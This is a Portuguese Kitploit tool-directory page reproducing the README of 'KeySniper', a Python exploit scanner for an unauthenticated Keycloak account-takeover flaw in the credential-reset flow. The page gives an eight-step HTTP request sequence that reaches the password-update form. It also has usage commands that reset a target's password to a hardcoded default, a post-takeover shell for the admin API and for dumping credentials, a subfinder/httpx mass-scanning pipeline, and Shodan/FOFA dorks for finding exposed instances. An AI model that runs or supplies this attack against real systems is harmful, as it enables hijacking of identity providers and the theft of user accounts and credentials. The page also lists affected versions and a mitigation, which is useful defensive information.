Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
KeySniper — **CVE-2026-18963** — tomada de conta não autenticada no Keycloak por meio do fluxo de redefinição de credenciais. | Kitploit
Ferramentas/GitHubGitHub/ynsmroztas/keysniper
ReconhecimentoScanners de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAutenticaçãoRed Teaming
GitHubynsmroztas/keysniper

KeySniper

**CVE-2026-18963** — tomada de conta não autenticada no Keycloak por meio do fluxo de redefinição de credenciais.

Ver Repositório
3há 5h 14mAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

KeySniper

KeySniper

Autor: Mitsec — x.com/ynsmroztas

CVE-2026-18963 — assunção de conta Keycloak não autenticada via fluxo de redefinição de credenciais.

KeySniper é um scanner orientado à produção para bug bounty em escopo e avaliações autorizadas: saída de radar em tempo real, descoberta de realms, detecção vs. assunção, shell interativo pós-ATO e pipeline via stdin (subfinder → httpx → KeySniper).

O modo padrão é detecção (--takeover 0). --takeover 1 altera a senha da conta no alvo.


Vulnerabilidade

CampoValor
CVECVE-2026-18963
CWECWE-640 — Mecanismo Fraco de Recuperação de Senha
CVSS9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
ProdutoKeycloak / Red Hat SSO
Corrigido em26.7.2, 26.6.6, 26.4.15
AutenticaçãoNenhuma

Dois bugs são encadeados:

  1. tryAnotherWay armazena uma nota de seletor genérica "true" que não é limitada ao ID de execução.
  2. ResetCredentialEmail.action() chama context.success() sem verificar ACTION_TOKEN_USER_ID.

Resultado: um chamador não autenticado pode forçar o fluxo de redefinição de senha para um nome de usuário conhecido e chegar a UPDATE_PASSWORD sem clicar no link do e-mail.

Sinal de confirmação

A varredura não é “esqueci minha senha existe”. A confirmação é:

  • o formulário de seletor é re-renderizado na URL de redefinição original
  • o UUID execution= muda (execução de e-mail vazada)
  • a resposta contém kc-passwd-update-form
root@kitploit:~
exec3 = 28e2cd30-…   (primeiro seletor)
exec6 = 8fd21174-…   (GET pivô)
         UPDATE_PASSWORD

Recursos

  • Log [radar] ao vivo (Localização, JS, cabeçalhos, sonda de realm)
  • Descoberta de realms: 302 Location + HTML/JS + well-known + wordlist
  • Detecção automática do prefixo /auth
  • Pipeline: URLs via stdin de httpx / subfinder
  • Filtro de falsos positivos: corpo Keycloak exigido antes do brute de realms
  • --takeover 0 apenas detecção
  • --takeover 1 define senha (padrão SelaM1337@@)
  • --shell shell interativo de token / API de admin após ATO
  • Selos coloridos: VULN / ATO vermelho, SAFE verde, SKIP amarelo

Instalação

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install requests
chmod +x KeySniper.py

Python 3.9+.


Uso

root@kitploit:~
# detecção (sem alteração de senha)
python3 KeySniper.py -u https://sso.example.com --takeover 0

# assunção + shell interativo
python3 KeySniper.py -u https://sso.example.com --takeover 1 --shell

# realm / usuário
python3 KeySniper.py -u https://sso.example.com -r master -U admin --takeover 0

# pipeline
subfinder -d example.com -silent \
  | httpx -silent -mc 200,302,401 \
  | python3 KeySniper.py --takeover 0 -t 4

# arquivo de lista
python3 KeySniper.py -l urls.txt --takeover 0 -q

Flags

Não use --takeover 1 ou --shell em um dump de pipeline.


Fluxo (8 etapas)

root@kitploit:~
[1] GET  /realms/{realm}/protocol/openid-connect/auth?client_id=account
         → href de esqueci minha senha (reset-credentials)
[2] GET  reset-credentials
         → kc-reset-password-form
[3] POST tryAnotherWay=on
         → kc-select-credential-form
[4] POST username=<usuário>
[5] GET  startSessionPolling / restart (se presente)
[6] GET  URL original de reset-credentials  (pivô)
         → re-renderização do seletor + nova execution=
[7] POST seletor obsoleto (sem token de ação)
         → kc-passwd-update-form
[8] POST password-new / password-confirm     (apenas se --takeover 1)
         → HTTP 302 + code=  ⇒ ATO

Saída

root@kitploit:~
[VULN] https://sso.example.com realm=master user=admin ver=26.7.1
    confirm exec3=...
    confirm exec6=...
    confirm kc-passwd-update-form

[ATO]  https://sso.example.com realm=master user=admin pass=********
[SAFE] https://idp.example.com reset-open patched
[SKIP] https://www.example.com not-keycloak

leak-no-update não é contado como VULN.


Shell interativo

Abre apenas após [ATO] em um alvo único:

root@kitploit:~
[email protected] ▶ token
[email protected] ▶ whoami
[email protected] ▶ realms
[email protected] ▶ users
[email protected] ▶ user admin
[email protected] ▶ get master
[email protected] ▶ creds
[email protected] ▶ exit

Usa concessão de senha do proprietário do recurso (admin-cli, depois account).
HTTP 403 em /admin/realms significa que Direct Access Grants / função de admin é limitada — o ATO ainda pode ser válido.


Descoberta

  1. Sondar /realms/master e depois /auth/realms/master
  2. Coletar realms de Location, HTML, JS, "realm":, emissor
  3. Wordlist (~70 nomes) apenas após a impressão digital do Keycloak
  4. Manter realms onde /realms/{nome} retorna 200 + corpo Keycloak

Impressões digitais / recon

root@kitploit:~
/realms/master
/realms/master/.well-known/openid-configuration
/admin/

Shodan / FOFA (escopo do programa):

root@kitploit:~
http.title:"Sign in to"
http.html:"/realms/master"
http.html:"keycloak"
ssl.cert.subject.CN:"example.com" http.html:"/realms/"
root@kitploit:~
title="Keycloak" && host="example.com"
cert="example.com" && body="/realms/master"

Falsos positivos

  • Qualquer 200 em / é ignorado, a menos que o corpo tenha issuer / public_key / login-actions
  • Esqueci minha senha ausente → SKIP (realm tem reset desabilitado)
  • Vazamento de seletor sem kc-passwd-update-form → SKIP
  • Caminhos httpx são reduzidos à origem (/auth mantido)

Versões afetadas

Keycloak < 26.7.2 (também 26.6.x < 26.6.6, 26.4.x < 26.4.15).
Mitigação: desabilitar Esqueci Minha Senha em todos os realms e depois atualizar.

A captura de tela neste repositório é redigida (placeholder sso.lab.local). Tokens, senhas, e-mails e hosts reais não são publicados.


Autor

Mitsec
X: x.com/ynsmroztas


Licença

Uso em pesquisa em alvos autorizados dentro do escopo. Mantenha --takeover 1 desligado em hosts fora do escopo.

Baixar ferramenta
FlagPadrãoSignificado
-u URL—Alvo único
-l ARQUIVO—Lista de URLs
stdinautomáticoLinhas httpx (primeiro campo = URL)
--takeover 0|10Detecção vs. alteração de senha
-U USUÁRIOadminNome de usuário alvo
-r REALMautoForçar realm ou descobrir
--passSelaM1337@@Nova senha se takeover=1
-t N4Threads do pipeline
-qdesligadoApenas resultados
--shelldesligadoShell pós-ATO (alvo único)
StatusSignificado
VULNPivô + UPDATE_PASSWORD (senha não alterada)
ATOEtapa 8 bem-sucedida
SAFEReset aberto, sem seletor obsoleto (corrigido)
SKIPNão é Keycloak / reset desabilitado / vazamento sem formulário UPDATE
FAILErro de rede / exceção inesperada